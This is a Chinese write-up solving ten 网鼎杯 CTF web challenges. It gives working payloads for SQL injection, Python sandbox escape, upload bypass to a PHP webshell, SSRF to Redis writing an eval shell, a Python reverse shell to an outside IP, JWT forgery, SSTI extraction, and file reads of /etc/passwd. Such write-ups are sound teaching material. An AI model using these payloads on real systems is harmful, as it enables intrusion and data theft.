网鼎杯WEB_writeup

0x00 fakebook

题目页面是这样的image大概就是先join一个用户,然后再点进去看具体信息,可以看到blog的内容。这题我一开始以为是join那里有个时间盲注,因为我在username那里用了这样的payload,是成功了的:adzzzzmin' or if((1=1),sleep(10),0)#,但是后面发现,并不能注出什么东西出来。
正解如下:在具体信息页面(view.php)no参数存在注入,imageimage注出来有4列,第二列有回显image,然后,常规操作,imageimageimageimage注意要用/**/绕过对union select的waf。
注出data列的内容是一串php的序列化数据,想到构造序列化的数据去ssrf读取flag.php(之所以知道是flag.php,是因为可以试出来),构造payload如下:

1
no=1 and 1=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这样,flag的内容就会在本来显示blog内容的地方显示出来。image这题其实算是比较友好的web题了,当时最后一个小时才看到,而且一开始以为是时间盲注,浪费了时间,可惜了。

0x01 calc

进来之后,发现是一个计算器image给了个正则,一开始没发现有什么问题,后面才看到,这正则没有结束符。。只要开头跟正则匹配了就ok,也就是说,可以构造一个1+1+任何东西,然后,乱输url,发现后台是python写的image自然想到沙箱逃逸。题目过滤了ls,稍微绕过就可以,另外,因为要和数字进行运算,所以沙箱逃逸返回的必须是数字类型,可以先编码成16进制,然后再用int函数转化为数字类型。用这个payload列目录:

1
1+1+int(([].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[71].__dict__["__in"+"it__"].__getattribute__("__global"+"s__")['o'+'s'].__dict__['po'+'pen']('l'+'s /').__getattribute__('re'+'ad')()).encode('hex'))

imageimage
可以看到,flag就在/flag,改一下payload读flag即可。image

0x02 wafUpload

题目页面如下:image给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

看了几遍,发现文件后缀的检测很难绕过去,要求后缀是jpg,png,gif三个其中一个。在这里,我们可以构造一个数组,filename[2]=jpg,filename[1]=php
,这样可以绕过对end($file)的检查,在最后的$filename = reset($file) . '.' . $file[count($file) - 1];处,由于数组有两个元素,所以后缀会变成file[1],也就是php,最后生成的文件名就是php.php 。payload如下:image上传就成功了。image蚁剑连上找到flag即可。
另外提一下,end函数取的并不是下标最大的那个元素,而是数组里最后的那个元素,比如这段代码,image输出的是xxx。其实理解好php数组本质就可以了。

0x03 spider

这题是教育组的一道web题,到最后也还是零解,image首先看看robots.txt,发现有东西image首页的爬虫分析系统会执行js代码,加上这里会输出a标签的innerHTML,所以可以用js去改变a标签的内容,这里可以想到用XMLHttpRequest来SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<a href="" id="flag">test</a>
<script type="text/javascript">
function go(){
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}
else{
xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById('flag').innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open('GET','http://127.0.0.1/get_sourcecode',true);
xmlhttp.send();
}
go();
</script>

得到get_sourcecode给的源码image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time &gt; 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)
def unauthorized(error):
return '403'

if __name__ == '__main__':
pass

代码的第61行可以看到redis的关键字dbfilename,猜测应该是存在一个redis未授权访问,然后用redis写shell,可以先通过js扫描哪些端口是开放的。

1
2
3
4
5
6
7
8
9
10
11
12
13
<a id='result'></a>
<script type="text/javascript">
var data='';
var body=document.getElementsByTagName('body')[0];
ports=[80,81,88,6379,8000,8080,8088];
for (var i in ports){
var script=document.createElement('script');
poc="data +='"+ports[i]+" OPEN; ';document.getElementById('result').innerHTML=data;"
script.setAttribute('src','http://127.0.0.1:'+ports[i]);
script.setAttribute('onload',poc);
body.appendChild(script);
}
</script>

注意这里用到的技巧,如果src错误,onload是不会执行的,因此只有端口开放,相应的端口才会加到data里面。
8000端口开放着,题目给了hint,8000端口有apache服务,这里还是可以通过js去对redis进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<a id="flag">pwn</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

level=low_273eac1c是为了绕过sourcecode中的限制
这里用到了JavaScript的FormData对象,它用于将对象编译成键值对,以便用XMLHttpRequest来发送数据,其主要用于发送表单数据,但亦可用于发送带键数据(keyed data),而独立于表单使用。
然后直接反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"123.207.99.17\",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>

image弹过来之后直接读flag即可。
不反弹shell,直接读flag.php也是可以的,写入文件的要变成echo file_get_contents('flag.php')
发现很多地方都是不能用一句话反弹shell的,python反弹是最稳的。这个题当时看了挺久的,很久才看懂题目意思,本来以为要用gopher打redis,然而并不存在

0x04 comein

这题进来能直接看到给了后台源码image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{*******");
}
?>

首先限制了$_SERVER['REQUEST_URI']的开头必须是’.’,这里可以利用apache的特性绕过,比如GET .zxcz/..//index.php,apache会先解析到一个不存在的.zxcz目录,然后再../出来,访问到index.php,这样就绕过了开头必须是.的限制,然后到最后还有一个$host==="c7f.zhuque.com"的要求,我们可以构造例如.zxcz@c7f.zhuque.com/..//index.php的payload,单纯的这个payload,是不符合url格式的,parse_url也不会解析出host,所以$uri会变成http://$_SERVER['REMOTE_ADDR'].zxcz@c7f.zhuque.com/..//index.php,这时候print_r($uri),内容是这样的:

1
2
3
4
5
6
7
8
Array
(
[scheme] => http
[host] => c7f.zhuque.com
[user] => 127.0.0.1.zxcz
[path] => /..//index.php
)
//本地测试

parse_url解析的特性就不在这里赘述了,可以看到,限制host已经被构造成了c7f.zhuque.com,自然也就可以读到flag了。image
数据包的头部,除了可以用相对路径,绝对路径也可以使用,这样就可以构造更自由的REQUEST_URI,如果是相对路径,修改REQUEST_URI之后,就访问到别的地方去了。
这里我深入地研究了一下apache解析访问路径的特性,我放了一个echo hii 的zzz.php在apache的网站根目录,然后分别构造了以下的请求头,可以参照返回的结果了解一下apache解析路径的特性imageimageimageimageimageimage我是真的摸不透..求高人指点

0x05 i_am_admin

题目给了一个登录界面image首先用它给的test:test用户登进去,发现有一串secretimage而且可以发现,登录的同时,cookie中多了一个auth字段image看格式像是JWT,base64decode一下,果然是image,然后构造用test页面给的secret构造新的jwtimage再替换一下auth,刷新页面就可以拿到flagimage这题有个启发,像登录这类的一些关键的cookie不能放过,既可以尝试伪造也可以尝试注入甚至可以爆破(下面就有一题),很可能是解题关键

0x06 gold

这题进来是一个鼠标控制小人捡金币的游戏image提示要达到1000金币才可以过关,单纯手玩不太可能,因为它貌似捡不到的还会扣分,而且游戏本身比较卡。抓包可以发现,每个金币掉下来都会发一个post包,如果post过去的是你当前的金币值image尝试了一下直接post 1000过去,发现会弹反作弊的框,然后,直接从0爆破到1001,可以拿到flag。image

0x07 phone

题目描述:find the flag
这题给了一个可以注册和登录的网站image注册的phone处限制了只能用数字,马上就能想到强网杯的three hit那题。这里返回的是phone跟你相同的数量,可以猜测后台是select count(phone) from table where phone ='phone'可以先用0x7a2720206f72646572206279203123(zzz’ order by 1#)和0x7a2720206f72646572206279203223(z’ order by 2#)测试一下,发现返回的结果符合猜测的语句(只有一列)imageimage,然后,写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#encoding:utf-8
import requests,re,binascii,uuid

reg_url='http://1c1a13badb9f4f879556bab7a0aac4a5e516bd9a9453477f.game.ichunqiu.com/register.php'
que_url='http://1c1a13badb9f4f879556bab7a0aac4a5e516bd9a9453477f.game.ichunqiu.com/query.php'
proxies={'http':'http://127.0.0.1:8080'}

if __name__ == '__main__':
while True:
ses=requests.session()
query=raw_input('query>>>>')
user=str(uuid.uuid1())[:7]
query='0x'+str(binascii.hexlify(query))
r1=ses.post(url=reg_url,data={'username':user,'password':'a','phone':query,'register':'Login'},
proxies=proxies,timeout=2)
r2=ses.get(url=que_url,proxies=proxies,timeout=2)
print r2.content.decode('utf-8')

这里要注意一个地方,mysql中,如果select的是count(?),如果找不到where语句符合的,会返回一个0,不同于普通的select字段。在普通的select字段的情况下,我们可以用类似于z' and 1=2 union select ... 来使得union select之前的语句不返回字段,不影响回显,但是这里不行,在这里union select之前的语句会返回一个0放在第一行,如果这里不注意,就会发现永远都只能注一个0出来。image所以,这里可以用limit 1,1或者是order by 1 desc来绕过。然后,常规操作拿到flag。image

0x08 mmmmy

题目描述:find the flag.
题目给了一个登陆框image
首先随便输个用户名密码登进去,发现token是用的jwt,而且是python web(根据路由方式合理猜测)image然后看到留言处,需要admin才可以留言,所以,jwtcracker爆破secret,伪造admin的token,在这个过程中发现,如果登录的时候用户名是a或者b或者d,都是爆破不出来正确的secret的,具体原因是什么我也不清楚,爆破出来secret是6a423image然后拿着伪造好的token以admin身份登录image这题有一个比较神奇的地方,一刷新,token就会变回去了,所以,只能在burp那里留言,或者写脚本image留言板处是存在SSTI的,先fuzz了一下,发现{{,}},',",_,os,system是被过滤了的,直接就返回一个noneimage除了用{{}},其实还可以用{%if 1%}gg{%endif%}这样的格式来进行SSTI,会返回一个ggimage然后,对于诸多关键字被过滤的情况,可以用例如[request.values.a]的方法来获取参数a。首先这里可以用类似{% if [].__class__.__base__.__subclasses__().pop(40)('/flag')[0]=='f'%}zzz{% endif %}的方法来进行盲注image盲注脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#encoding:utf-8
import requests
url="http://4f2b5b1d73dd4db0b83ddd4050510107f9e570a78f104914.game.ichunqiu.com/bbs?a=__class__&b=__base__&c=__subclasses__&d=/flag&e={}"
Dict='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{-_'
cookies={"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"}
proxies={"http":"http://127.0.0.1:8080"}
headers={"Content-Type":"application/x-www-form-urlencoded"}
if __name__ == '__main__':
flag=''
num=0
while True:
for i in Dict:
ses=requests.session()
r=ses.post(url=url.format(i),cookies=cookies,headers=headers,data=r'''text={% if ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()['''+str(num)+r''']==request.values.e %}zzz{%endif%}''',proxies=proxies)
if 'zzz' in r.content:
flag+=i
print flag
num+=1
break

image
还可以用jinja2的print方法,直接就能读到flag,不需要盲注

1
text={% print ()[request.values.a][request.values.b][request.values.c]()[request.values.d](40)(request.values.e).read() %}&a=__class__&b=__base__&c=__subclasses__&d=pop&e=/flag&

image这里比较玄学,post过去的东西后面一定要加个&,不然就会500,get就不会有这种问题。
方法当然不止一种image

0x09 comment

题目描述:find the flag
题目给了一个留言板,未登录留言的话会跳转到login.phpimage然后zhangwei/zhangwei666登进去,然后就可以留言
然后看有没有源码泄露,发现有.git,githack拉下来,只有一个write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

看上去卵用没有,怀疑没有拉全,控制台有提示image
然后就要探索新姿势去把完整的源码拉下来,首先很明显我原来用的githack并不好用,这里推荐一个https://github.com/BugScanTeam/GitHack ,拉下来之后进行如下操作imageimage然后就可以看到完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

首先我们可以看到题目,当你对某个帖子提交留言的时候,它会把你post过去的content显示出来,然后,我们看代码能否对content进行回显利用。发现这里存在一个二次注入,我们可以把发帖处的category构造为',content=(select load_file('/etc/passwd')),,然后,把留言处的content构造为*/#,这样出来的效果是这样子的image,这时候,网页上就会显示出content的内容。image然后,我尝试了一下读/flag,发现没东西。这时候看到/etc/passwd里面有一个www用户,然后,我们可以读/home/www/.bash_history,看看该用户都干过什么。image根据他的操作记录,可以知道他在tmp目录解压了html.zip,然后到/var/www/html删掉了.DS_Store,这个.DS_Store应该十分关键,于是,读一下/tmp/html/.DS_Store,直接读是不行的image于是,先拿hex编码一下。image可以看到,有一个flag_8946e1ff1ee3e40f.php,然后同样的读取就可以get flag。image

0x10 blog

题目描述:find the flag.
题目给了一个wordpress的站,看了下版本,搜了一下,是最新的,没有可以利用的漏洞imagebut,首页上写着几个大字:’该博客为青龙鼎科技(qinglongdingkeji.com)官方技术博客。于是,可以到github上搜一下这个青龙鼎科技,在code处可以看到搜到了东西imageimage有一个api.php,泄露了api信息,于是尝试遍历一下uid,可以看到,uid=233的时候返回长度是最大的,点开看看,发现就有flagimage